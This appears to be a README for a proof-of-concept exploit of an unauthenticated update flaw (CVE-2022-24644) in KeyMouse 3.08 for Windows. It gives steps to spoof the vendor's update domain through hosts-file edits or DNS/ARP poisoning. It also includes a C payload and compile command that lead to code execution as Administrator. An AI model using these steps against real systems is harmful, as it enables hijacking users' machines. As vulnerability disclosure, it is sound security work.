# CVE-2022-24644
> ZZ Inc. KeyMouse 3.08 (Windows) Unauthenticated Update Remote Code Execution Vulnerability

Usage: `python3 cve-2022-24644_poc.py`

Details in the report at [gerr.re](https://gerr.re/posts/cve-2022-24644/).

## Steps to reproduce
1. Install [KeyMouse Windows 3.08](http://www.keymouse.com/downloads/windows/keymouse-setup3.08.exe);
2. Set spoof `www.keymouse.com` to our attacker ip;
    * For the proof-of-concept it is easiest to edit `c:\windows\system32\drivers\etc\hosts` on the target.
        - Attackers may e.g. use:
            + poorly configured routers/switches/DNS
            + DNS cache poisoning
            + ARP cache poisoning
3. Compile `proof.c` on the attacker, e.g. using `i686-w64-mingw32-gcc proof.c -o proof.exe`;
```c
#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}
```
4. Run the proof-of-concept script on the attacker;
5. Start KeyMouse on the target and trigger an update:
    * Application Menu: Help -> Check For Updates
    * Task Bar: right mouse button on task bar icon -> Check Updates (or Install Updates)
6. Continue with the update.

As a result, `proof.exe` is executed in the context of the Administrator user at high integrity.
